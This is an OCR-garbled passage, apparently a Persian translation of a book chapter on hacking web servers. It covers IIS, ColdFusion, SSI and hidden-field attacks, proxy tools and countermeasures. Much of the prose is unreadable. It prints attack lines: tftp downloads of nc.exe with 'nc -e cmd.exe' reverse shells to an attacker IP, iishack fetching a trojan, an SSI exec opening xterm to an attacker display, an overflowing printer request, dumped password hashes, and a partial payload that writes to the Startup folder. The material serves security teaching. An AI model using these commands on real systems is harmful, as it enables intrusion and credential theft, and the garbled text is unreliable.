
CGI =)

05 ol s ¢ 3,38 oo b it CenlgS o sl | Lad s Sl SCTIPE B> o (remove the affected script) L <5 J> o, 51
DS ol SCTIPE slaarig 4 olsceal lp 1) (b (55,) dtwgm alis an
v http://www.go2net.com/people/pualp/cgi-security/

= http://www.sunworld.com/swol-1998/swol-04-security.html

= http://www.w3.0rg/Security/Faq/wwwsf4.html

- ftp://ftp.cert.org/pub/tech tips/cgi metacharacters

a http://www.csclub.uwaterloo.ca/u/mlvanbie/cgisec/

(ASP) 1S

Popularity: 8
Simplicity: 9
Impact: 5
Risk Rating: 7

axil ) iy wilgi e VB SCIIPL b iogs Ysons .conl UNIX oo, CGI s Perl 5561 Lk a5 4 cdlug Sole gl g, Jlob lmiw Ly ASP
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ASP 55 555 b ans 0 0)la] mezlis 4 a5 ol T jlein s pivana] o] dind g ol oy Jls s HTML L6 057,15 6l Wil Ul ASP sl
5000 (5SS pdy s Sledal “‘\;J‘?SLSA Ooleo L:‘L c 0518 aelp shate jo (6 i 6)%39..%4#'-'1 A5lg oo mexloe g’s‘ § ol oo e anle 6 )l8 L )
Coals ol 55 5,5 AL s jeee slaanlS wiile canys a8 6,550 1, ASP slLls

sas ol 1, Hacking Exposed Windows 2000 sys o S IS ) sosas ioiig goas o iy Llas o500 2000 500 a5

-t Blie sloee s IS leSa o 50 51 55 5mee

. ASP DOT Bug é

036 rarlon sl | ASP wlie a5 5gs amlys 105 1155 s pivenal . 5,5 a5 128Y JLu o 1, ASP dot bug LOpht .,, s ;i Weld Pond
S 1) iog3 asly slate aaie o5 L 59 6,5550 ASP e o5 a5 sl 3201 56l ol IIS 3.0 cos ASP URL 57« ahais i b 5 009581 b2 s
ad o plool URL 57 alais 4 pagesadlil g Jae ol ¢ ool oSl 310w sl o )5 o g yone SLalS ygmmen (olu Sledbl a5 ytages 5 83bo oo
http://192.168.51.101/code/example.asp.
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ASP DOT Bug @

oS5 S auilys soleds - 35lo oo )3 T13.0 ol o0t 550 sl pass 5 b (alais ) AOT (6 p3ncnl 6l 1) coms S Cdlong Sole oS Col (] g5 s
2 asby
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http://192.168.51.101/code/example.%?2asp.

(ASP Alternative Data) ASP é

551 rerlie 4 ol Lol ¢ 0 ASP (dOt)iass 5 e (6 5 i 3 s pivewn]  Paul Ashton Lg Bug traq « cocs, cledbl oLl
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showcode.asp codebrws.asp & "

w25 [, ASP iy o5 21 65l rarlen @ 0,bsd 5 ol wudlys 13 cwy i 3590 |, IIS4.0 dlols b Lo Ll o 3T 6 piyenul an o, U
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http://192.168.51.101/msade/Samples/SELECTOR/Show.code.asp?soource=/../../../../../beet.ini

oals oo« ma0,S oy 4S5 pshailed .« diy e o o | LG e codebrws.asp L b osls e Les showcode.asp s ieel ols; o
-5 law |, pcAnywhere s, 5 CIF slbls
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(Q232449) i el Knowledge Base s 5 askiy a5t . 05 ea IIS & hOtFIX X il w58 48 oty oS ie g
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webhits.dll
el oS saslie sl prlee o)l b ales ¢ Jlo o0 S 0 ool 3 MS.INdEX 5, sl (S5 ,5 5,015 ©)5-a 1, hit-high lighting DLL
P S e S 5T Tae 5 aie (us (sl 99290 HTW LG 5l aslieal U HTW alas sl . sl 3056l (52103 59, 2 508 3> o L) ol ASP
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b obe (%20)230 51 o slalols b g al b Toe lyin 39390 bl 6,05 )15 b 5 5,05 0925 w59, a5 b pb &l L. HTW als o ags
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Welcome To IIS 4.0
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Leam About
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Welcome to Microsof® Wndows NT® 4.0 Option Pack

Microsof Windows NT 4.0 Option Pack prowmdes eshanced Web, apphcation, and commumcation sernces for Wmndows NT Server 40 So
you're settng up a simple Web ste on your corporate mtranet, creating large sites for the Intemnet, or developmg component-based apphcations, the
Wndows NT 4.0 Option Pack prowdes a smmple, Slexble way to make your emstng Wndows NT Server 4.0 an even stronger Web and
apphcations platform.

We welcome your feedback! I's mportant that we mcorporate your feedback mto our software. Please send any comments or suggestions to

eswish@macrosoft com.

Internet Information Server
Wmdows NT Server
©1997 Microsoft Corporation. All nghts reserved Legal Nobices
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HTTP Error 404
404 Not Found

The Web server cannot find the file or scopt you asked for. Please check the URL to ensure that the path s comrect

Please contact the server's admmstrator of thes problem persists
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D:\>type trans.txt|nc-nvv 192.168.234.41 80
(Unknown) [192.168.234.41] 80 (?)open
HTTP/1.1 200 Ok
Server : Microsoft-IIS/5.0
Date : Wed,23 Aug 2000 06:06:58 GMT
Content-Type : application/octet-stream
Content-Length :2790
ETag:”0448299fcd6bfl:bea”
Last-modified :Thu,15 Jun 2000 19:04:30 GMT
Accept-Ranges:bytes
Cache-Control: no-cache
<!-Copyright 1999-2000 bigCompany.com-->
<objectRUNAT=ServerSCOPE=SessionID=fixitPROGID="Bigco.object’></object
(“ConnectionText”)="DSN=phone, UID=superman, password=test,”
(“ConnectionText”)="DSN=Backend, UID=superman, PWD=test,”
(“LDAPServer”)="LDAP://ldap.bigco.com:389"
(“LDAPUserID”)="cn=Admin”
(“"LDAPPwd”)="password”
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IS o) s, 1y Olalys 39e bglas 5 eiled sbnl tESEP] ply (Ll il oo
system(“tftp-i 192.168.51.100 GET nc.exe);
system(“nc-e cmd.exe 192.168.51.100 300&’);
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¥: Expression Calculator - Netscape
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| HELP |
EXPRESSION EVALUATOR

Use the form below to test Cold Fusion expressions. You can use any functions in
your expressions. The evaluator does not support CFML tags and amay element
assignments Read HELP for more information on how to use the evaluator
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(C) Copyright 1985 —1996 Microsoft Corp .
D AINETPUB\www ROOT\cfdocs>

Cold Fusion Q

Cambes Bis 1 Su5Lu sbSCTipt w
£ ol 15T 0y s €Xpreale.cfm s piyonnl Joe o1, 1, Allaire ab, as

http://www.allaire.com/handlers/index.cfm?ID=8727 & Method=Full
oS oy



Hacker AQ

Popularity: 9
Simplicity: 9
Impact: 10

Risk Rating: 9
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45,518 Slodlbl plu 5 ans e )3 buffer o sl 1, Data | cledlbl a5 ab; oy aslos « 098 oo 36 o5 S SBL igi 5l e gl il JSia
i Sl 05 s s ailile a0 ol 5l 1zl sl S Sl ygs el WS e S |,
/”user/open win /bin /term — display < your IP_address > :0.0&”
s Solaris s

53 e 055 05 40 08 S8 45 1, Lo 5 S gm o 559 ol 5 e (59,5 250 1 omnr s 55 45 S S35 0 foigm ol 1y Lo oS sl by

PHP & :

3 b a8 s slas, o sladises Oy 53,5 ledbl Liel altae Jol . wlons axslis PHP wgcvs o pieasl Gon s L) g
g ol 3l iy Sl gl ¢ WS 6,5k b st | e 3 k1B o a5 a0 o 03] razlpe a1 v Wby o sl Lpm i
A owyls 1, http:// loiver.efri.hr/~crv/security/bugs/mUnixes/httpd13.html

buffer < Lylos cos wes g pdicenl. 55 1997 Jlo sl 5 Ll o sodls 5 wis, S GsS pa |, o0 Secure NetWork Inc oy,
e S Lh ) eenles a5 0l &, Sl USie 3s NCSA HTTPD 4,0 &cilns o1 5 i L php.cgi2.obetalO ;s ), 3L ) overflow
il ool ¢ Bl ol s 3 23U (6 iyl 3550 55 i SleMbl sl - (595 oo ] einl SCTIPE sla el )l 51 45) . wisls s ,see (f1X filename) oL
oS S | cubs

http://loiver.efri.hr/~crv/security/bugs/mUnixes/httpdl4.html

PHP =
Syl aj?BPHP O glad 10 pdyca] Jos 5l S sl sl ol g0

oy el aeas o ST ]y aS e 8, 1, JSiie oS PHP 25 &

NI/
wwwcount .cgi é
Plaguez Liug 515 5 coges jshu b sl SCTIPL sl o] 5 Shas 5 5 piven] . ol g e hit cOunter s, wwweount .cgi adb
HTIPD .5 < aSilimen ) . wiS 12l 550 ol 5l &g i 595 2 1) 595 50 ¢ 590 o], 5l prloe S ams oo 03] s pivonal - ai a3l 1997 L s
s 43 1) XECTIN ¢ Lyl 1 s i o plowl aslice IS oSG Lol LT Lal ¢ sy o0 a3 ls sogos Biges (€XPLOIL) L3, g0 J8las (amo oo plosl 5T aiion

cails S e ezl



q.

Faglail )l S Calus 50 o 4y solgiiin eai b il o) S 5 syl Cols I i Sl
http://loiver.efri.hr/~crv/security/bugs/mUnixes/wwwcount.html
http://loiver.efri.hr/~crv/security/bugs/mUnixes/wwwcent2.html

Wwwcount (e
0,18 3529 WWWCOUNT &by o S ] ploul b ablis ofy g0
WWWCOUNE.CEL 0 j5es ygicians (13,5 B3> ¥

chmod-x Wwwcount.cgi ;s 5l oliiul b ugicass ol sbsme Giilsp b oS Gis A

11S4.0IIsHack é

vl g 39 4385 13 ST S 50 Loy Sle g0 g (lp 598 il S Slyins 5 392 00y 1999 (55 15 pgas bl 4n [IS4.0 s, 5 5a
A aie cipal s €@Eye sl eg,5) €Eye security group laus Ll LB L oS o Shee g 05 o0l aiS

1, 6l Sl oS Crrezln ans oo o3l a5 il o IDC skt  HTR 3 .STM 1, URL 5 alul 356 e e S JSion ol aie
cad ounels IIS Hack aalsy Joe U 3, - wles 1ol (doxe s ;0 AdMINISErator astes 1, s el olyiws 5 acs (download)

senlys oo a5 TrOjan e sb s URL Jlo)l b Jos cpl - 558l (o5 slenlo ple ols 5o http:// Wwww.Technotronic.com s o5
C 335 oo plowl 59 1,2
[:J c:\nt\>iishack 10.12.242 80 172.29.11.101/getem.exe
—————— (IIS 4.0 remote buffer overflow euploit) -- - - - -
(C) dark script - barns @ eeye . com

http://www.eEye.com

[usage: iishack <host> <port> <url>]
eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe
do not include ‘http://’ before hosts!

data sent Mas Jl,l oledb

O3S 5b 1 (ous axslil &by (o5, 50l NTSAM) pwAUMP.XE socsainy b aylosges sl Lo a5 el ooles aaly K “‘gEtEM.EXE” 25
b sbxl 1, (NC-NVV-L-p25 —t - € cmd.exe) ez &by (Dl b el y 5 POIE2S ols 25 sl NELCAL 51 Soils i f5s S

Lo 1y (oo (o yiws Sl SYStEM aCCOUNt lgins axdl.osles |l \lsgs 511, NETCALssL [gims SO slyn Lads a5 098 oo Jool> Sloj ciidge
G S e S50 soka ) e o0
c:\> nc - nvv 10.11.1.1 26
(UNKNOWN) [10.11.1.1] 26 (?) open
Microsoft (R) Windows NT (TM)

(C) Copyright 1985-1996 Microsoft Corp.

C:>pwdump

administrator:500:D3096B7CD9133319790F5B37EAB66E30: 5ACA8A3A546DD587A58A251205881082:Bu
ilt-in account for administering the computer/doma in

Guest:501:NO PASSWORD**** &k **xxx% : NO PASSWORDX * * * %k x &k sk ok
*x**x*k*x*:Built—-in account for guest access to the computer/domain:
sqldude:1000:853FD8DOFA7ECFOFAAD3B435B51404EE:EE319BA58C3E9BCB45AB13CD7651FEL4 :
SQLExecutiveCmdExec:1001:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B8
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9537:8QLExecutiveCmdExec, SQL Executive CmdExec Task Account:C :

L) cdls aplyd ]y Conp o soe o, Lok 0 0l 5 S gl LOphterack ;1 as o5 4 5 olejd bavly 5o (aila)PASEE 5 ool o5 5 L
(s 55 6505 (5 2

L el aules 1211, Task Unabated s 5 wss Jate aslgos ksl o95Tes « 28b 5k cmezlen 5, » (TCP139) 5, NetBIOS <4, ;51

c S o oloml = Al oad (RS 05035, @By S 0 el Kes AT — i 0 1) Gl g et (59,08 S Grelpe SIS )

11S4.0 1IS Hack @

5o 40l ) 4 5 \ul)l \ .)| |oolo a ‘I)I ulS 2 6] .‘6)1 TQL," '>:LQ5; ] sl .5)5Lg

s> olod 4 sl 4S5 S s €EY€ 05,5 . o sl http://www.microsoft.com/bussys/IIS/iis-public/fixes/usa/ext-fix/

Mbsc ‘A)YWOM A, srdal pass Lol ¢ o, as e 6)"‘”“‘*‘"1 &ly

I1IS Printer & )
Popularity: 10
Simplicity: 9
Impact: 10

Risk Rating: 10

sl 5 o printer files LISAPT L ou U cosg, o« ol oas w1 €Bye Digital Security o by
c:\Win NT \ system 32\ msw2prt .dll
CHOST” 5 o cab 1Y+ Loy Jlo)l b s pivaaa] Joe 3,50 e o018 1, (IPP)Internet Printing Jss,,— s s, oy o> ,s DLL
oS Jee 5 ailes ailyi e Led (6 pducaml ol bl 6l . 0 pdu 0 sl HTTP
GET / NULL . printer HTTP/1.0

HOST : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAARAA (up to 420)
b oosannsis &ol> ol jo 1) IIS Sslegsl jobay IISS.0 SSslonT 5 il . 09 8,5 5 4ty g a5 09 o el Ladly jobigy 30 L GET cilgs s

09 walgss Ble G ptins Sy ¢ Jilad 0 S0zme (g3laslel) ade >

aga e il SecurityFocus.com s . (IISShack .zip) sas asle eges Joe o

IIS printer (e

o< ol & I . & )| 0o S A ‘J)l 3L O W ! 5 G‘MB/ 5 4 S5 el 'B)SL"

255 e cabhttp://www.microsoft.com/technet/Security/bulletin/msS01-023.asp
¢ A 00litl 850 Jleb & jem o5 DL plas (ol e il (0 S gl ol e mazlio (polocensis (gl Sae (Vsb 551l oy
bl o ol slaslel, 51 g (0gas b dgan a3l olgsds g canlin (sainyle; S 5o ol Fon ) au,lo a5 laaslip 4S5 b 1 LosT 09 sunlyse caboge Lo ool plio . ol

S 05 SelyS
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ISAP1 idg.dll ¢

Popularity: 9
Simplicity: 9
Impact: 8
Risk Rating: 9

55,5 51y Riley Hassel . cols st o1 51 %o o ISAPT 1dqudll b o, e« ao asl)l TIS (615, (s8ly 130 ot oo cmag Lot
083 oo 05l reln 4 5 5,005 o SIIISS5.0 5, 00 IIS4.0 o, oo s pivcanl cnl ¢ ol &) 2001 Jlo 555 paome o1, o1 5 5,5 waas 1,571 €Eye
(e )5 5 658 s oo olKius ;5 Kan 45) a5 slwl lOcal system account s s Lol ol jgius b

5 2l L mdscan] ol osle] ol Lot ¢ aien Saile 5 ,Fule 1S sl g Cewl oud 8,1 DUE ol sl )15, b g0 daid « Laat dgs ol 5 45 johilon
Sty o8 JSte o 28y (sl oy

cipl 132000 j0ns dong o el 2001 gl bavlyl o 1) slebas o 1dq.dll 5L oo 55,00 L5, 5 o . code Red worm coiis>
e plizsl 3 ol 5l solete slaazin g,

e 350 B 5,5 i, 5T 50085005 &1 jgama 151 gt (5 S ailes WhitehOUSE. OV sasie el 3 a5 conl ains; corn [P Sl 7 850 oyl
Sols 1 eletdless 1) jg s e lase Cuty slays 93 ol 51 J5S jsk (gum A5 10250 )18 008 55 Sloainss 158 s (g0

AN

Web Field ‘ :

Popularity: 7
Simplicity: 8
Impact: g
Risk Rating: 8

b 5 9ye o daid ) ooliiul b 1) ol sy g Wi oo ples « o daseie @Dle b Jore b ol 1oi b e ol Lai> SANIHIZALION 35005 olay
O PRV RS TS SN I L SO I

A4S o Lslses cold Fusion 4. s, 5l Administrator [0gon asis 4 5,55, L -

rLogin Netscape

File Edit View Go Communicator Help

< 4 3 &4 - = < & 0 B
L Back Reload  Home  Search Netscape  Print  Secunty Shop Stop o
7wl Bookmais Location: | hig:/162 16851101 cndeladministraloefindess cim d @ what's Related

<allaire>

ESS0LDFUSION .0

Web application server |

o | |

In order to access the administive functions on
this Coldf usion server you need o login using the
administrator password




Hacker Q¥
(Net scape s, ,») File|Edit Page ;i eoteesl LHTML oo ,5 Edit 4 ool yss -¥

cowien b3 o L HTML Gl JaSailas 5 sang b sl Lot Vs Y
fad i 3 URL a1 gl ;o7 5 j50 ol s o)1 59, SlS Lo Lawss |, (YU o cens YACEHON S5 -F

<fromAction=“http://192.168.51.101/CFIDE/administrator/index.cfm” Method = “Post”>

% ColdFuzion Administiator Logen - hitp //192 16 tosfindex cim - Netscape Composes *

Fie Edit View Insert Format Tools Communicalor Help

08 B # % L@ ABEAsSs 9 B —
New Open Publsh Preview Paste Prit Find Link Target Image Hline Toe Speling
[Foma =] [vasewm ]2 ]l A A A # = I <X I E
P r

mmnﬂlsmn 0

Web application sen.rer

In order to access the administive functions on
+ this Coldf usion server you need to login using hu
:administralor password :

Faes o |, Maxlenght ; $ize clogas 5355 0 o0 password provided o5 ys.e 5o, (xS b, HTML 5 —

<input Name = “password provided “ TYPE = “ PASSWORD” Size =1000000” MAXLENGTH =
“1000000>

cawles 0,33 HTML L6 4 flgns 1, Ll 5 05 SIS PTEVIEW (g, -5

Samd 855 ey alid J3s 1) LT 5 wles wdgs ST (gl S0 VL sy dng Cusly By | dmio ol j9u0 oy alid Y

1) 525 e el Lo o (el 42l oo 1) ot G piko Lo 510 395 i ) 39,00 s3> 4o ST, 0SS password ass s, -A
i Jade 9w 50

b el ol Jloyl o Lad 510 05ke oo Jld e |y 5900 95500 Y %0100 51, CPU 35ls 1 (cpogpaie) Preceding as wsl asls a9 ool
Lo el ol 53 9 sn e 3 55000 131 i yg e a0 ST (isalon S0 51 e Jlo)l J 52 40 95800 @515 Lz 5l e oty alidl « amay asell Lellgs

Cag,le S (10,5 w8 (6l (e Sd2xe ‘5}|xl°|))wrebootp)~l¢;
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* Coldf usion Administrator Login Netscape

File Edit View Go Communicator Help

iélﬁ&id‘@ﬁmmu-““

E| Back Relcad Home  Search Metscape  Prnt Security  Shop
‘ Bookmarks  J Location:[file:///Dftest himl -] @ what's Related
e i TR P e M TR TR L SRR - e I TV T e N O L

mummsmha

Ig.----,.nr--u..--.,--tn-:-uvvvoc..yyvtcnvvtttt'-nvvtu--nttn-"""""'nn-"""

_Password |

o M= E3

Flbe Options  View Help

Applications | Processes | Performance_]

CPU Usage CPU Usage History

ENl ENEEEEEEEEEEN
ENlEEEEEEEEEEEER

MEM Usage — Memoty Usage History

Totals Physical Memory (K)

Handles 3037 Total 261492
Threads 252 Available 159668
Processes 28 File Cache 26404
Commit Charge (K) 1 Kernel Memoty (K)

Total 116112 Total 39896
Limit 374296 Paged 20124
Peak 116480 Nonpaged 19772

Processes: 28 lepu Usage: 100% Mem Usage: 116112K [ 374296K »

Web Field Over Flow (e

b abb oo 9o o drwgi Lo a5 glaslp ,o 10 5,500 daseie cudle b g wyol 5 ab Jie (635, Sledlbl Laa ¢ (5 sl g5 ol sl (28ly Jool, s
oy Sl Lt 45 ) el (5,935 0l S5 4 aums o8 > | AAMINISIrator L cos 1 amio wo wilsi oo L Cold Fusion sy s piyonsl ool
oS U5 5 oepol 5o Cold Fusion gilucsel sl |, sl sloaross an 5 (5,5 suges |, ODSCUTILY
http://www.allaire.com/Handlers/index.cfm?ID=10954&Method=Full
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Web

B3l e ) g (b 9550 50 mre 5 Sl MBI a5 W15 ol (rrazles bl o o2 5l 9 05 & Loz led B0 o B9 BT 5 Ll b il aSalole
b e LSS Sl pan og QB amsarsgi | ot - Casl Sy sloesgs dang ] (o ez les (nl i pslse ey |y lBog3 9 4 slan (litws el
A1 0,50 50 yiig Oledbl gl wilasd 313 oy 0 90 Joad ] 10 WSS ol 1 (s aslaid 5 ol b s e g 5l oolaiwl g 0, S3gume gl |,
0 FAQ Gy ailpioe ot ¢ 3 laamdynnal
- swles o, » (http:// Wwww.nmrc.org/fags/www/index.html) NMRC

N1/

Popularity: 5
Simplicity: 6
Impact: 6
Risk Rating: 6

Ll o oo 09 55950 dhowgr 01500 @ 1) Glaslemag 5 B9 B o 1) LAY game ¢ it 6 0] pul s )3 Ol plodl Sl 0 95T iS50 51 (s
G9,303,5 So t e e Wil ool 5 oLt Sy |y Caond Jie (lo )] 45 was s 05l rarlee 4 ShOPPING — cart e 1k
Sl ol ST b 24 w5, b gy, slaljblese W @5 GBSl b el ools )18 59k 1, (LS9 g 45 SzsS SigealS (o)l
merloe A58 a0 L Wil oo S oo olitul asiiie o1 G (55 Cad (6,15 LS (gl el Lo (pgins HTML e gl i) plagsleas o
oS 7S T Al 51 51T g sinled QL] onds ghsee TAZ cund (35)) aiilii oo LT« win )5 atS |y s iyl

fasl asls oy 5 dxio g5y oy HTML o8 el 05 5 0058 Sl 12
<FORM ACTION = “http://192.168.51.101/cgi-bin/order.pl”

method = “post”>

<input type = hidden name = “price” value = “199.99">

<input type = hidden name = “prd id” value = “x 190”>
QUANTITY : < input type = Tent name = “Quant” Size =3
maxlenght = 3 value =1 >
</FORM>
b Y5 1.99 (1, w5 a5 sas o | ojl) o) cmerlee 4 teXE filter b oo Keul s o L Netscape COMPOSET L coosd ooles sd Sy s
amms 5 (o] sad anlys cwed) ¥ 199.99
<input type = hidden name = “price” value = “1.99”>
1, ’type = hidden name = price” . http://www.altavista.com ,s . coul Gl 5 ol s 55LeaS b,z 55 ol 45 08 9t Loty 51
0,8 ey 0l (nl b cols baao GiS gl | bajlne 5 balgs 08 gt
Sopesealy )l asly so puesrlas bl ¢ ol 0l nd g (b Job )0 (atuie ple L cuslaals sligy (b)) 65,0 K08 0 lge ales
g o BTl g0 s S cely BN L g 595 (SKienS ob 5l el Yzl ¢ sms Wgm |y ST 51 (5 pind, 5 g aaed s Velo oo Jio

Tag ()

Popularity:
Simplicity:
Impact:

Risk Rating:

SO

Ol G531 5l B 1y gyl oS ol BV L ¢ cend e Sledlbl (45 S0 55 sl 1) isee sl 5l oolizal  HTML ase bS5 )18, 51 cniles sl
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a3l dgaxe

34
(SSIs) Server Side Includes é

1, st ol g G amsanss - wylai oo ol v sitalin s (63,5 oy osdly lay ,o Blite 36 (sl pesilSe S Server Side Including
9590 7 s S (3900 Sl gz 1y (o5 DM (o 5 Sy sl (sl b pn S i AALE/HME (5 1255L @ I3 S Glyin
s ol a5 axtes o yiws o (82ES ply ) SST sls g 5l g0l slows . oS e b3
b echo,include, fsize,flastmod,exec,config,odbc,email,break,if,go to,Label
S 4 ald S e, SST s 0l )13 b asiles oo leloges 5l s0laws . s €Ml tags s exec s Include exlee sl Ll o pocasgw 516 au
3% SST 5 50,5315 b e Jlin Glsims - W3l 597 4 litnd ali g (v jgkar 5200 (51l 42 gm0 09 by HTML i 5 lyims i aalys
xTerm ey 4 5 SST 5. wles o)) o 005 Ll 6ln 1) sols (sumanls cul (Sn j5m w50 duae Sl o sbml oloy 5o b akid o 5T 5 sl
Pad waly Jlo )l p2les 12
<l--#exec cmd="/usr/x 11R6/bin/xterm — display attacker: 0&” -- >

SSI =)

S e s 3 0T 95 L e 5l 8 sl et SST s jo 05 cyg,e s HTML (6 5o (lss 1,21, Preparser Script s,

NI/

Popularity: 4
Simplicity: 6
Impact: 5
Risk Rating: 5

Lot Culo oy 51 Jlie lsins - aulas ol e 93,5 Sl 6 pdyomen] cacl wilgi oo a5 L 59, 1, (23ledol Losdiiens « and oo o)1) 1,5 S 09 hanas 2
) b (nl a5 memo oo ojl] IS @ rzmen Lo 5 Lo 0l ol @ 4 (52 b ol Cdpitn b anngs Cgz (pased (5395 Sledbl glaaog 5l Jl5imws (55l
b5 oSk cux JAVA SCTIPE oS L laas os (sl,>| g (05 ool I3 oSy jobilon) SST a8 5 Seaas b Covgnr b rronrlis one « St

sk gmy 5500 Sl BB Slredg Glas a4 1T Sl s e ezl < 0 o Jae 0T L LS ses 0y 5 IS 0L sl Jlaices

( ) Appending to files ()

i marlin 6l ) 6ol sl 15 - sl Sgama |y Wit se ailol blite Sledlbl (0 liS ST sl 4y (gl wigd oo 4Ll 45 o B 51 o Liloslizul

leiion 5k yg e 29 )8 0,5 6,5

il LT T bl (gl e anal aals JolS dlalus (0 j5lcasas 6l 30 555 pno o ainlgs o Syl Lan rexlis 5 7,5 Glosins 4 dlom> 5 0gdle
Sy GraSow g o LSESS AsSa 1ad oo Hlid 5 990 pdly> zikas |) (L0 5 g 0l cpl 5l can bt asas 1,8 solaul 0,50 |y (6 5ty bouzmn sl )5l

s (GUI SSLproxy,s,. <, «s)Achilles . (SSLproxy sste bos ;lei b g0 o) SSLProxyLo il aw b 0,8 o 01, o0, S Lo

e meblys ke | (o0 b ololis lnl o) Wietch
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SSLproxy & -

Popularity: 4
Simplicity: 6
Impact: 5
Risk Rating: 5

b oS s9ame HTTP s Jssbent eVt a1, sl a5 ol cplnEtCat Joo pls s0S ilojl I3l b g b)) omesd il (s5lwogames sleal, 5 o5
looszn plo3 S (ialesl sl onil oslinul L é IS 4 Wgd oo e od Jld 0y sba s, s, — Secure Sockets Layer (SSL) « asils,
sas ansgs Christian Strakjhonn g Jsase ool o, 0 1, SSLProxXy Soles aulys oo b ons Jld g0 s — SSL acle 1 s skl
5 Lealss o 2l s Sy S g oaST o SSLP _us1, - el s download s http://www.kuix.de/ SSLproxy ;i 4 el
P 10 1) 25 sl stelly adlsiie gt onl sl (sl - w38 o ool oyt SSL Jigs puals 53 bl 42 53,53)15)55 e

SSLproxy-1 2000 - R 10.1.1.20 -r443 -p ssl3 -c dummycert.pem

443 &5 5 (10.11.20) 55 o, 51 SSL ot 0 T Jlo )l § 2000 &0 o Jlasl bzl o 4 opolsies an 03 1, SSLProxy Ls olygws
338 e 2 JLail 5 2000 25, 53 (127.0.0.1) owe oliys &0 Jlasl jskaie a0 (slaaliyy 50 0l oo Lo« b o JLasl SSL 51, oS8y o5 o

(neteat sl ) . w0 K olgsds

SSLproxy (]

SSIAUMP ol 51 Sy (oS o5 o 15T 35,0 Lo e ol 0l o g sy 50 SSL (0,5 Gigels ¢ pyzmn il ol 5 (oo¥ly it plasl s

355 e il http://www.rtfm.com/ssldump cul. s ssldump sgs oot 5lg, Jis s SSL il 5 oLes 5e) 6l Wlgs oo

N1/

Achilles "

Popularity: 4
Simplicity: 4
Impact: 6
Risk Rating: 5

5l e Achilles ¢ s o (b & Leals o5 el Sl ol b e 4 a5l o SSL 6 5o s s, 5l GUT e <o Achilles
caws i ) Ll g cl 53 g b ol co 5o | S5 e Sl Leil 45 wes s o5l Ladh 4y o)1 — S o Jos o3le (Suules

eyl tab . aule sis Internet Options o8 sb s, ol « 5ol @l - owvs L3 PIOXY o olsin 1) 955 ais gienls Lt « Yol
21 ol s aws bl |, Use A Proxy Server J s aus G . a5 S5 LAN setting aoss 5, 5 05 ol |, (connections)
oS S ) el Options 5 aule bl 1, Achilles sy o Yo Lo asle 2 5,50 2000 15 1) &g 5 (oo oliee ool
v Intercept Mode ON
O Intercept Client Data
4« Intercept Server Data

o)l U o sl o ol ciies a0 g9,0 1,58 Achilles . was SLIs start 4.ss s, - awss ,s5 2000 o 1, Listen On Port uis . o

5o Sl 55 Sledlsz 5 Jlgms 905 05l wlgs 4 5 il ous Sl SENA LaS's a1, K0 a walyss ool 3 Canlym )3 o bl e Sally 5 oxs g ;55550 &

CARS i |
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Achilles (]

ot . HTTP/HTTPS jibug < « (“Feature™) ancas G cnl aSasl o kive ol gl o 5w ol o blite SLaladl 5l s )by Jie

o o yowd 50 (2leS 4 slablisol )

WFetch @™
Popularity: 4
Simplicity: 6
Impact: 5
Risk Rating: 5

i 5 4l ol syl ool WEEtCh o ¢ wsl 65,8 65k Syl Jblbie 6o 08 929050, 1) liula mblss 5 dusd Jaie 5w g Sy ay 51
C il e ootes 5 hol sbraaras shls Jgame ol ¢ cnple s o - Canl o atigs ((Sezlls g ) Jaroslav Dunajsk
vWeb authentication methods (includingHTTP-basic,NTLM, Kerberos, andmore)

u HTTP verbs such an GET,HEAD, PUT, DELETE, TRACE, and so on
- Connection over SSL

® Support for proxy servers

4 Custom headers

WkFetch (e

398 by (5 il el ¢ 0t S 1 B 0 oa e 5500 o @ 4 i WetCh L ailitis

a2l sl yealy Log g 0ad 188 5uisle (LS pd lawgi oS olpetias 4 oliws gl S e GLSAST 55150 Cuzos gz | ol w8y LS () o Le
b el (iur ol 19 523 b o Loyl ol Jlo - o S g 1y 095 gadly (sl Lol 45 o 2w J2le ol pladl 51 g - aloogas B po 395 e 5L
S5 o LS (paid o SanalS Sz ;0 € wigd 3390 3l (patid 5 (S o fenalS 4 (liwd g oS (sS4 il Kinlisy (BaS Sa 4
WED ) g slo Kiules s asile . 09 so S Jad ol ol aws 15 esliiul 596 | w4 il jom] SV game 55 41 4 Sz B - At pgai )]
Vx| Bun S Glgm wilgi oo sased o cnlpls - o) 65 olSiiny] cilises sla,léle 5 ples o (BEMaIl) Sog ol ey (5asilss « (Oledbl Sl 35—

392 981355 WED SETVET (55, 5 (o5 ot 51 (30 0o 51 5205 0 083 2t 51 (5 s (63559 AT 53,25 18 33 5,90
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+ wietch - [wietch1] | _ O] x|
ES Fle Edit View Window Tools Help =18] x|
'Ef el

Verb:[GET ] Host: [www hackingexposed cc ~  Port{defodt ~] ver{T1 -] %l‘ rom e

i 3 B
Authentication Connection

Auth:  [Anommous =] | Connect: [hitp ~] 2l

Domain: LI -  Trace

User:  [NTLM Client cert v|j T

Pagswd: Exm | | T Prowy: ! ~ Reuse =]

Negotiate L -

Log Output [Last Status: 200 OK] |
© RESPONSE: **ovevstsrsasn,

@ HTTR{1.1 200 ¢

@ Date: Sun, 15 Jul 200
@ Server: Apachef1.3.12 (Unb:) mod_s 2

@ Last-Modified: Thu, 30 Nov 2000 22:19:17 GMTirin

@ ETag: "12908-5882- 22264265\ _
@ Accept-Ranges: bytesirin

@

@ <'DOCTYPE HTML PUBLIC ™-{/W3C/fDTD HTML 4.0 Transitional/ JEN">\rin

© HMLSYn

© <€A

@ <META HTTP-EQUIV="Content-Type" CONTENT="text/himi; charset=150-8859-1">\r\n

© <META NAME="Generator" CONTENT="NetObijects Fusion 5.0 for Windows™>\rin

@ <TITLE >Hacking Exposed 2nd Edition </TITLE >{rin

© <SRIPT>Yin

@ <-y\n

@© Function F _loadRolover(H} function F_roB(H{}\rin .
Ji=>¥rin s

-.l | |

Ready

Figure 15-5.  Wfetch allows for almost every combination of web request for testing authentication
and much more.
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<object id = “scr”

classic = “clsid : 06290BD5-48AA-11D2-8432-006008c3FBFC”

>

</object>

<SCRIPT>

scr.Reset ( );

scr.Path = "C:\\windows\\Start Menul\\Programs\\StartUp\\guninski.hta";

scr.Doc = "<object it = 'wsh' classid = 'clsid:F935DC22-1CF0-11D0-ADRB9-
